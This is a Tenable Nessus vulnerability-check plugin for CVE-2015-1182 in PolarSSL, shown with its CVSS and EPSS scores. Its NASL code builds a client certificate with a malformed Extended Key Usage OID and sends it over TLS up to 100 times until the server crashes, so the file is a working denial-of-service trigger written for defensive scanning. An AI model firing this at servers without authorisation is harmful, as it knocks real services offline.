Lucene search

K
nessusThis script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.POLARSSL_CVE-2015-1182.NASL
HistoryJan 28, 2015 - 12:00 a.m.

PolarSSL 'asn1_get_sequence_of' Function Uninitialized Pointer RCE

2015-01-2800:00:00
This script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
115

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

EPSS

0.042

Percentile

92.3%

PolarSSL contains a flaw when parsing ASN.1 sequences from X.509 certificates due to freeing an uninitialized pointer by the function ‘asn1_get_sequence_of’ within file ‘asn1parse.c’. An unauthenticated, remote attacker, using a specially crafted certificate, can exploit this flaw to cause a denial of service or execute arbitrary code.

This plugin sends client certificates with an X.509 Extended Key Usage extension that contains a malformed key purpose OID. PolarSSL allocates a ‘asn1_sequence’ structure to store the OID. For this plugin to work, the following conditions must be met :

  • (1) The ‘next’ field of the allocated ‘asn_sequence’ structure for the malformed key purpose OID must be non-zero.

  • (2) The SSL server requests a client certificate.

#TRUSTED 739d5c8b6980b4702b6688841b7749579492abf4a1a1e6387efb68d9c082c072f140412c1bc15ffa3f86b3cc823b7b3bc5c7750332e7c2131d314e2824ce453e1d9b7fbabb481bc90e849a74ad5be56f28b77c71e0931f31c93ef93e0ff12da95d2f5527cbf2b4f5b3ddf8a86817a2025b7e90cdd1745f5f8af3f09a65c337489ba8736b8aab47293887aebdb336824e930ea4a29684e63624450278209637719fa52f94ef99f15e8804c1dd23cf5382f90df85ecceabc60a56d6e46f00c9b697963ca0351f5e7f8d34ec843dca6878494d1923b3ae76eee81e31bcb4381eabb0e427901b1e31905a771adf4d0ab1b8dc0e1281c0b60711a13288986ab353caa2d373f910997ae11b99667d0ecb46ff689cc110882f7c15cf3f9f2a9505218880861b01e76e422717df98b77a572f18a335781c654b116b99cdb3410d7918602cf7c8226bc7583cd6bb0c44eb57f3e693677745a421b70c12d53471063ebefcb4c089a599fe6e396b244aa2473ebc975eb9081c21b1d682ce5dcdcbf37e47f9d40ab2572b5b20f491d188cb4eb1d96e7a7271addf63268178c49bbad44fa5d07c877ea8983c5d9df668fa864cd30910900bd53d86a86a696675a4a46ec39f925ab35de2baee53f00d3aec2b0fe83c878e683d9e23486a4d7288a80333dd76f1756a773f2f80a1571b3d57817ab13e67d8c6e7a7ef83c668300db6a3ed61d6e7a
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(81047);
  script_version("1.21");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2015-1182");

  script_name(english:"PolarSSL 'asn1_get_sequence_of' Function Uninitialized Pointer RCE");

  script_set_attribute(attribute:"synopsis", value:
"The remote SSL server is vulnerable to remote code execution.");
  script_set_attribute(attribute:"description", value:
"PolarSSL contains a flaw when parsing ASN.1 sequences from X.509
certificates due to freeing an uninitialized pointer by the function
'asn1_get_sequence_of' within file 'asn1parse.c'. An unauthenticated,
remote attacker, using a specially crafted certificate, can exploit
this flaw to cause a denial of service or execute arbitrary code.

This plugin sends client certificates with an X.509 Extended Key Usage
extension that contains a malformed key purpose OID. PolarSSL
allocates a 'asn1_sequence' structure to store the OID. For this
plugin to work, the following conditions must be met :

  - (1) The 'next' field of the allocated 'asn_sequence'
    structure for the malformed key purpose OID must be
    non-zero.

  - (2) The SSL server requests a client certificate.");
  # https://polarssl.org/tech-updates/security-advisories/polarssl-security-advisory-2014-04
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?8e6caee6");
  script_set_attribute(attribute:"see_also", value:"https://www.certifiedsecure.com/polarssl-advisory/");
  script_set_attribute(attribute:"solution", value:
"Follow the instructions in the vendor advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2015-1182");

  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/01/19");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/01/19");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/01/28");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:polarssl:polarssl");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"General");

  script_copyright(english:"This script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ssl_supported_ciphers.nasl");
  script_require_keys("SSL/Supported");
  script_timeout(1800);

  exit(0);
}

include("byte_func.inc");
include("ftp_func.inc");
include("global_settings.inc");
include("der_funcs.inc");
include("ldap_func.inc");
include("misc_func.inc");
include("nntp_func.inc");
include("smtp_func.inc");
include("ssl_funcs.inc");
include("telnet2_func.inc");

##
#
# Create an X509 certificate extension
#
# @param oid extentions OID
# @param crit whether the extension is to be critical
# @param value extension value (DER-encoded)
# @return DER-encoded extension or NULL on error
# @remark
#
#   Extension  ::=  SEQUENCE  {
#        extnID      OBJECT IDENTIFIER,
#        critical    BOOLEAN DEFAULT FALSE,
#        extnValue   OCTET STRING
#                    -- contains the DER encoding of an ASN.1 value
#                    -- corresponding to the extension type identified
#                    -- by extnID
#        }
##
function x509_ext(oid, crit, value)
{
  local_var ext;

  oid = der_encode_oid(oid:oid);

  crit = der_encode(tag:0x01, data:raw_string(crit));

  value = der_encode_octet_string (string: value);

  if(isnull(oid) || isnull(crit) || isnull(value))
    return NULL;

  ext = oid + crit + value;

  ext = der_encode (tag:0x30, data:ext);

  return ext;
}

##
#
# Create a x509 certificate with an Extended Key Usage extension
#
# @param kp_cnt number of key purpose OIDs in the Extented Key Usage extension
# @param bad whether to append a malformed key purpose OID to the end of the
#            Extended Key Usage exension
# @return an x509 certificate
# @remark
#   - The output certificate type is RSA
#   - Most fields are hardcoded
#   - The certificate need not to be verifiable
#
##
function my_cert(kp_cnt,bad)
{
  local_var cert, issuer, serial, sig, sig_alg_id, version;
  local_var pubkey_info, subject, tbs, validity;
  local_var alg, exts, ext_eku, eku, i, kp, pubkey;

  # version         [0]  EXPLICIT Version DEFAULT v1,
  # Version  ::=  INTEGER  {  v1(0), v2(1), v3(2)  }
  version = der_encode(tag:2, data:raw_string(2));
  version = der_encode(tag:0xa0, data: version);

  # serialNumber         CertificateSerialNumber,
  # CertificateSerialNumber  ::=  INTEGER
  serial = raw_string(0x00, 0xba, 0xdc, 0xbb, 0xc3, 0xdb, 0x90, 0xdf);
  serial = der_encode(tag:2, data: serial);

  # signatureAlgorithm   AlgorithmIdentifier,
  #    AlgorithmIdentifier  ::=  SEQUENCE  {
  #            algorithm               OBJECT IDENTIFIER,
  #            parameters              ANY DEFINED BY algorithm OPTIONAL  }
  #
  #
  # PolarSSL (1.3.9) supports the following SignatureAlgorithmIdentifier (oid.c):
  #   md2WithRSAEncryption
  #   md4WithRSAEncryption
  #   md5WithRSAEncryption
  #   sha1WithRSAEncryption
  #   sha224WithRSAEncryption
  #   sha256WithRSAEncryption
  #   sha384WithRSAEncryption
  #   sha512WithRSAEncryption
  #   ecdsa-with-SHA1
  #   ecdsa-with-SHA224
  #   ecdsa-with-SHA256
  #   ecdsa-with-SHA384
  #   ecdsa-with-SHA512
  #   RSASSA-PSS
  #
  # use sha1WithRSAEncryption to cover more PolarSSL versions as
  # older versions may not support ecdsa-based SignatureAlgorithmIdentifier
  sig_alg_id = der_encode_oid(oid:"1.2.840.113549.1.1.5");
  sig_alg_id = der_encode(tag:0x30, data: sig_alg_id);

  # issuer               Name,
  #
  #   Name ::= CHOICE { -- only one possibility for now --
  #     rdnSequence  RDNSequence }
  #
  #   RDNSequence ::= SEQUENCE OF RelativeDistinguishedName
  #
  #   RelativeDistinguishedName ::=
  #     SET SIZE (1..MAX) OF AttributeTypeAndValue
  #
  #   AttributeTypeAndValue ::= SEQUENCE {
  #     type     AttributeType,
  #     value    AttributeValue }
  #
  #   AttributeType ::= OBJECT IDENTIFIER
  #
  #   AttributeValue ::= ANY -- DEFINED BY AttributeType
  #
  #   DirectoryString ::= CHOICE {
  #         teletexString           TeletexString (SIZE (1..MAX)),
  #         printableString         PrintableString (SIZE (1..MAX)),
  #         universalString         UniversalString (SIZE (1..MAX)),
  #         utf8String              UTF8String (SIZE (1..MAX)),
  #         bmpString               BMPString (SIZE (1..MAX)) }
  issuer = raw_string(
  0x30, 0x4f,
  0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04,
  0x06, 0x13, 0x02, 0x55, 0x53,

  0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04,
  0x08, 0x0c, 0x02, 0x4d, 0x44,

  0x31, 0x15, 0x30, 0x13, 0x06, 0x03, 0x55, 0x04,
  0x07, 0x0c, 0x0c, 0x44, 0x65, 0x66, 0x61, 0x75,
  0x6c, 0x74, 0x20, 0x43, 0x69, 0x74, 0x79,

  0x31, 0x1c, 0x30, 0x1a, 0x06, 0x03, 0x55, 0x04,
  0x0a, 0x0c, 0x13, 0x44, 0x65, 0x66, 0x61, 0x75,
  0x6c, 0x74, 0x20, 0x43, 0x6f, 0x6d, 0x70, 0x61,
  0x6e, 0x79, 0x20, 0x4c, 0x74, 0x64
  );

  #   Validity ::= SEQUENCE {
  #        notBefore      Time,
  #        notAfter       Time }
  #
  #   Time ::= CHOICE {
  #        utcTime        UTCTime,
  #        generalTime    GeneralizedTime }
  validity = raw_string(
  0x30, 0x1e,
  0x17, 0x0d, 0x31, 0x35, 0x30, 0x31, 0x32, 0x30,
  0x32, 0x33, 0x33, 0x33, 0x32, 0x34, 0x5a, 0x17,
  0x0d, 0x32, 0x35, 0x30, 0x31, 0x31, 0x37, 0x32,
  0x33, 0x33, 0x33, 0x32, 0x34, 0x5a
  );

  # subject              Name
  subject = raw_string(
  0x30, 0x4f,
  0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04,
  0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x0b, 0x30,
  0x09, 0x06, 0x03, 0x55, 0x04, 0x08, 0x0c, 0x02,
  0x4d, 0x44, 0x31, 0x15, 0x30, 0x13, 0x06, 0x03,
  0x55, 0x04, 0x07, 0x0c, 0x0c, 0x44, 0x65, 0x66,
  0x61, 0x75, 0x6c, 0x74, 0x20, 0x43, 0x69, 0x74,
  0x79, 0x31, 0x1c, 0x30, 0x1a, 0x06, 0x03, 0x55,
  0x04, 0x0a, 0x0c, 0x13, 0x44, 0x65, 0x66, 0x61,
  0x75, 0x6c, 0x74, 0x20, 0x43, 0x6f, 0x6d, 0x70,
  0x61, 0x6e, 0x79, 0x20, 0x4c, 0x74, 0x64
  );

  # SubjectPublicKeyInfo  ::=  SEQUENCE  {
  #        algorithm            AlgorithmIdentifier,
  #        subjectPublicKey     BIT STRING  }
  #
  # AlgorithmIdentifier  ::=  SEQUENCE  {
  #      algorithm               OBJECT IDENTIFIER,
  #      parameters              ANY DEFINED BY algorithm OPTIONAL  }

  # rsaEncryption
  alg = der_encode_oid(oid:"1.2.840.113549.1.1.1");
  alg = der_encode(tag:0x30, data:alg);

  # RFC 3447
  #
  # RSAPublicKey ::= SEQUENCE {
  #     modulus           INTEGER,  -- n
  #     publicExponent    INTEGER   -- e
  #  }
  #
  # NOTE: n and e must to be a odd number
  pubkey = der_encode(tag:2,data:crap(data:'A',length:64)) +
           der_encode(tag:2,data:'\x01\x00\x01') ;
  pubkey = der_encode(tag:0x30, data:pubkey);
  pubkey = '\x00' + pubkey; # no padding bits
  pubkey = der_encode(tag:3, data:pubkey);

  pubkey_info = der_encode(tag:0x30, data: alg + pubkey);


  #   ExtKeyUsageSyntax ::= SEQUENCE SIZE (1..MAX) OF KeyPurposeId
  #
  #   KeyPurposeId ::= OBJECT IDENTIFIER
  #
  if (! kp_cnt) kp_cnt = 1; # mininum one valid key purpose OID

  kp = NULL;
  for(i = 0; i < kp_cnt; i++)
  {
    # timeStamping
    kp += der_encode_oid(oid:"1.3.6.1.5.5.7.3.8");
  }

  if(bad)
  {
    # Malformed timeStamping key purpose OID
    kp += raw_string(
        #0x06, 0x08, # Correct length for the OID
        0x06, 0x7f, # Invalid length for the OID
        0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08
    );
  }

  eku = der_encode(tag:0x30, data: kp);
  ext_eku = x509_ext(oid:"2.5.29.37", crit:1, value: eku);

  #Extensions  ::=  SEQUENCE SIZE (1..MAX) OF Extension
  exts = der_encode(tag:0x30, data: ext_eku);

  #extensions      [3]  EXPLICIT Extensions OPTIONAL
  exts = der_encode(tag:0xa3, data: exts);

  tbs = version +
        serial +
        sig_alg_id +
        issuer +
        validity +
        subject +
        pubkey_info +
        # skip optional fields:
        #   issuerUniqueID  [1]  IMPLICIT UniqueIdentifier OPTIONAL,
        #   subjectUniqueID [2]  IMPLICIT UniqueIdentifier OPTIONAL,
        exts;

  tbs = der_encode(tag:0x30, data:tbs);


  # signatureValue       BIT STRING
  sig = crap(data:'S', length:64);
  sig = '\x00' + sig; # no padding bits
  sig = der_encode(tag:3, data:sig);


  cert =  tbs +
          sig_alg_id +
          sig;

  cert = der_encode(tag:0x30, data:cert);

  return cert;
}

function attack(port, kp_cnt)
{
  local_var ciphersuites, cspeclen, exts, exts_len, version;
  local_var alert, chello, clt_cert_req, hellodone, shello;
  local_var cert, cipher, data, i, list, msg, rec, soc;

  # Create a socket for SSL handshake
  soc = open_sock_ssl(port);
  if ( ! soc ) exit(1, "Failed to open an SSL socket on port "+port+".");


  # Use TLS version 1.2, allow downgrade
  version = TLS_12;

  # Use detected cipher suites.
  list = get_kb_list("SSL/Ciphers/" + port);
  if(list) list = make_list(list);
  else list = keys(ciphers);

  ciphersuites = NULL;
  exts = NULL;
  foreach cipher (list)
  {
    if(strlen(ciphers[cipher]) == 2)
    {
      ciphersuites +=  ciphers[cipher];

      if(tls_is_ec_cipher(cipher) && isnull(exts))
      {
        # We need to include EC extensions because it seems PolarSSL server
        # will abort the handshake if a EC-based cipher suite is negotiated
        # but a EC extension is not offered by the client.
        exts = tls_ext_ec() + tls_ext_ec_pt_fmt();
      }
      # Do not specify more than 128 cipher suites, as some older
      # PolarSSL versions don't support it.
      if(strlen(ciphersuites) >= 254) break;
    }
  }

  # Send ClientHello
  msg =
    mkword(version) +                    # Client version
    dec2hex(num:unixtime()) +            # Challenge, epoch portion
    rand_str(length:28) +                # Challenge, random portion
    ssl_vldata_put(data:'', len:1) +     # Session ID
    ssl_vldata_put(data:ciphersuites, len:2) + # Cipher suites
    ssl_vldata_put(data:'\x00', len:1);  # Compression spec

  if(exts) msg += ssl_vldata_put(data:exts, len:2);    # Extensions

  msg = ssl_mk_handshake_msg(data:msg, type:SSL3_HANDSHAKE_TYPE_CLIENT_HELLO);
  chello = ssl_mk_record(type:SSL3_CONTENT_TYPE_HANDSHAKE, data:msg, version:TLS_10);
  send(socket:soc, data: chello);

  hellodone = shello = clt_cert_req = NULL;
  i = 0;
  while (! hellodone)
  {
    # Receive a record from the server.
    data = recv_ssl(socket:soc, timeout:30);
    if (isnull(data)) break;

    # ServerHello
    if(! shello)
    {
      shello = ssl_find(
        blob:data,
        'content_type', SSL3_CONTENT_TYPE_HANDSHAKE,
        'handshake_type', SSL3_HANDSHAKE_TYPE_SERVER_HELLO
      );

      if (shello)
      {
        # Check handshake version returned by the server
        # If TLS 1.2 not supported, use a lower version
        if (shello['handshake_version'] != TLS_12)
        {

            if (shello['handshake_version'] >= SSL_V3)
            {
              version = shello['handshake_version'];
            }
            else
            {
              close(soc);
              exit(0, 'The service listening on port ' + port + ' does not support SSLv3 or above.' );
            }
        }
      }
      else
      {
        alert = ssl_find(
          blob:data,
          'content_type', SSL3_CONTENT_TYPE_ALERT
        );
        if(alert)
        {
          close(soc);
          exit(1, 'Alert received from service listening on port '+ port +': level '+ alert['level'] + ', description code ' + alert['description'] + ', Nessus could not procdeed with the vulnerablity check.');
        }
      }
    }

    # Client Certificate Request
    if(! clt_cert_req)
    {
      clt_cert_req = ssl_find(
        blob:data,
        'content_type', SSL3_CONTENT_TYPE_HANDSHAKE,
        'handshake_type',SSL3_HANDSHAKE_TYPE_CERTIFICATE_REQUEST
      );

    }

    # Server Hello Done.
    if(! hellodone)
    {
      hellodone = ssl_find(
        blob:data,
        'content_type', SSL3_CONTENT_TYPE_HANDSHAKE,
        'handshake_type', SSL3_HANDSHAKE_TYPE_SERVER_HELLO_DONE
      );

      if(hellodone) break;
    }

    # ServerHelloDone not seen after a higher number of SSL records
    # Something is very wrong
    if(i++ > 16)  break;
  }

  # Make sure we got a ServerHelloDone
  if(! hellodone)
  {
    close(soc);
    exit(1, 'ServerHelloDone not received from service listening on port '+ port +'.');
  }

  # We cannot send a client cert if not asked by the server
  if(! clt_cert_req)
  {
    close(soc);
    exit(1, 'The service listening on port '+ port +' did not ask for a client certificate.');
  }

  cert = my_cert(kp_cnt: kp_cnt, bad:TRUE);

  if(isnull(cert))
  {
    close(soc);
    exit(1, 'Failed to create a bad certificate to send to SSL server listening on '+ port +'.');
  }

  msg = ssl_vldata_put(data:cert, len:3);  # cert
  msg = ssl_vldata_put(data: msg, len:3);  # cert chain
  msg = ssl_mk_handshake_msg(
    type : SSL3_HANDSHAKE_TYPE_CERTIFICATE,
    data : msg
  );
  rec = ssl_mk_record(type:SSL3_CONTENT_TYPE_HANDSHAKE, data:msg, version:version);

  send(socket: soc, data: rec);
  usleep(100);
  close(soc);
}

#
# MAIN
#

# Get an SSL port
port = get_ssl_ports(fork:TRUE);
if (isnull(port))
  exit(0, "The host does not appear to have any SSL-based services.");

# Attempt to crash remote SSL server
for(i = 1; i <= 100; i++)
{
  attack(port:port, kp_cnt: i);

  if(service_is_dead(port:port) == 1)
  {
    extra = 'Crash at attempt ' + i + '.';
    security_hole(port:port, extra: extra);
    exit(0);
  }
  # If service is not dead, cannot tell it's vulnerable

}

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

EPSS

0.042

Percentile

92.3%